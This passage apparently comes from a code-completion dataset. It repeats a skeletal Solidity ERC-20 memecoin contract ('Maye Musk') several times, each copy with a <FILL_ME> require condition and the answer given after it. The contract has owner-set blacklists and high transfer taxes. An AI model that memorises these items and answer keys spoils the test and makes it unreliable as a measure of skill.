function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function factory() external view returns (address);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MayeMusk is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isSniperOrBlacklisted;
mapping (address => bool) private _liquidityHolders;
mapping (address => uint256) buyLog;
uint256 buyCoolDown = 15 seconds;
uint256 private startingSupply = 100_000_000;
string private _name = "Maye Musk";
string private _symbol = "MoM";
uint256 public _buyFee = 800;
uint256 public _sellFee = 800;
uint256 public _transferFee = 2500;
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 2500;
uint256 constant public maxTransferTaxes = 2500;
uint256 public _liquidityRatio = 10;
uint256 public _marketingRatio = 80;
uint256 public _devRatio = 10;
uint256 private constant masterTaxDivisor = 10_000;
uint256 private constant MAX = ~uint256(0);
uint8 constant private _decimals = 9;
uint256 private _tTotal = startingSupply * 10**_decimals;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
// UNI ROUTER
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingWallet = payable(0x5E279D20726a2Ac9c9723F76651c72931E076f1E);
address payable private _teamWallet = payable(0xEFC1f30EC158Fc1f9fC372A748752Eff87b86a5d);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxPercent = 2;
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; //
uint256 private maxWalletPercent = 2;
uint256 private maxWalletDivisor = 100;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; //
uint256 private swapThreshold = (_tTotal * 5) / 10_000; // 0.05%
uint256 private swapAmount = (_tTotal * 5) / 1_000; // 0.5%
bool private sniperProtection = true;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddStatus = 0;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private _initialLiquidityAmount = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
// This allows for removal of ownership privelages from the owner once renounced or transferred.
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external view override returns (string memory) { }
function name() external view override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
if (enabled == false) {
lpPairs[pair] = false;
} else {
if (timeSinceLastPair != 0) {
require(<FILL_ME>)
}
lpPairs[pair] = true;
timeSinceLastPair = block.timestamp;
}
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isSniperOrBlacklisted(address account) public view returns (bool) {
}
function setBuyCoolDownTime(uint256 Seconds) public onlyOwner{
}
function isProtected(uint256 rInitializer) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner() {
}
function setStartingProtections(uint8 _block) external onlyOwner{
}
function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() {
}
function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing, uint256 dev) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) internal {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
}
}
| block.timestamp-timeSinceLastPair>1weeks,"One week cooldown." | 88,536 | block.timestamp-timeSinceLastPair>1weeks |
"Must add up to 100%" | // SPDX-License-Identifier: MIT
/*
WELCOME TO TOSKA MUSK TOKEN, MOTHERS DAY RELATED TOKEN, ELON TWEET !
*/
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function factory() external view returns (address);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MayeMusk is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isSniperOrBlacklisted;
mapping (address => bool) private _liquidityHolders;
mapping (address => uint256) buyLog;
uint256 buyCoolDown = 15 seconds;
uint256 private startingSupply = 100_000_000;
string private _name = "Maye Musk";
string private _symbol = "MoM";
uint256 public _buyFee = 800;
uint256 public _sellFee = 800;
uint256 public _transferFee = 2500;
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 2500;
uint256 constant public maxTransferTaxes = 2500;
uint256 public _liquidityRatio = 10;
uint256 public _marketingRatio = 80;
uint256 public _devRatio = 10;
uint256 private constant masterTaxDivisor = 10_000;
uint256 private constant MAX = ~uint256(0);
uint8 constant private _decimals = 9;
uint256 private _tTotal = startingSupply * 10**_decimals;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
// UNI ROUTER
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingWallet = payable(0x5E279D20726a2Ac9c9723F76651c72931E076f1E);
address payable private _teamWallet = payable(0xEFC1f30EC158Fc1f9fC372A748752Eff87b86a5d);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxPercent = 2;
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; //
uint256 private maxWalletPercent = 2;
uint256 private maxWalletDivisor = 100;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; //
uint256 private swapThreshold = (_tTotal * 5) / 10_000; // 0.05%
uint256 private swapAmount = (_tTotal * 5) / 1_000; // 0.5%
bool private sniperProtection = true;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddStatus = 0;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private _initialLiquidityAmount = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
// This allows for removal of ownership privelages from the owner once renounced or transferred.
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external view override returns (string memory) { }
function name() external view override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isSniperOrBlacklisted(address account) public view returns (bool) {
}
function setBuyCoolDownTime(uint256 Seconds) public onlyOwner{
}
function isProtected(uint256 rInitializer) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner() {
}
function setStartingProtections(uint8 _block) external onlyOwner{
}
function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() {
}
function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing, uint256 dev) external onlyOwner {
require(<FILL_ME>)
_liquidityRatio = liquidity;
_marketingRatio = marketing;
_devRatio = dev;
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) internal {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
}
}
| liquidity+marketing+dev==100,"Must add up to 100%" | 88,536 | liquidity+marketing+dev==100 |
null | // SPDX-License-Identifier: MIT
/*
WELCOME TO TOSKA MUSK TOKEN, MOTHERS DAY RELATED TOKEN, ELON TWEET !
*/
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function factory() external view returns (address);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MayeMusk is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isSniperOrBlacklisted;
mapping (address => bool) private _liquidityHolders;
mapping (address => uint256) buyLog;
uint256 buyCoolDown = 15 seconds;
uint256 private startingSupply = 100_000_000;
string private _name = "Maye Musk";
string private _symbol = "MoM";
uint256 public _buyFee = 800;
uint256 public _sellFee = 800;
uint256 public _transferFee = 2500;
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 2500;
uint256 constant public maxTransferTaxes = 2500;
uint256 public _liquidityRatio = 10;
uint256 public _marketingRatio = 80;
uint256 public _devRatio = 10;
uint256 private constant masterTaxDivisor = 10_000;
uint256 private constant MAX = ~uint256(0);
uint8 constant private _decimals = 9;
uint256 private _tTotal = startingSupply * 10**_decimals;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
// UNI ROUTER
address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingWallet = payable(0x5E279D20726a2Ac9c9723F76651c72931E076f1E);
address payable private _teamWallet = payable(0xEFC1f30EC158Fc1f9fC372A748752Eff87b86a5d);
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxPercent = 2;
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor; //
uint256 private maxWalletPercent = 2;
uint256 private maxWalletDivisor = 100;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor; //
uint256 private swapThreshold = (_tTotal * 5) / 10_000; // 0.05%
uint256 private swapAmount = (_tTotal * 5) / 1_000; // 0.5%
bool private sniperProtection = true;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddStatus = 0;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private _initialLiquidityAmount = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and recnouncements.
// This allows for removal of ownership privelages from the owner once renounced or transferred.
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external view override returns (string memory) { }
function name() external view override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isSniperOrBlacklisted(address account) public view returns (bool) {
}
function setBuyCoolDownTime(uint256 Seconds) public onlyOwner{
}
function isProtected(uint256 rInitializer) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner() {
}
function setStartingProtections(uint8 _block) external onlyOwner{
}
function setProtectionSettings(bool antiSnipe, bool antiBlock) external onlyOwner() {
}
function setTaxes(uint256 buyFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing, uint256 dev) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setWallets(address payable marketingWallet, address payable teamWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: Zero address.");
require(to != address(0), "ERC20: Zero address.");
require(amount > 0, "Must >0.");
if(_hasLimits(from, to)) {
if (sameBlockActive) {
if (lpPairs[from]){
require(<FILL_ME>)
lastTrade[to] = block.number;
} else {
require(lastTrade[from] != block.number);
lastTrade[from] = block.number;
}
}
if(lpPairs[from] || lpPairs[to]){
require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
}
if(to != _routerAddress && !lpPairs[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
swapAndLiquify(contractTokenBalance);
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) internal {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function _checkLiquidityAdd(address from, address to) private {
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
}
}
| lastTrade[to]!=block.number | 88,536 | lastTrade[to]!=block.number |
null | // SPDX-License-Identifier: MIT
/*
WELCOME TO TOSKA MUSK TOKEN, MOTHERS DAY RELATED TOKEN, ELON TWEET !
*/
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function factory() external view returns (address);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
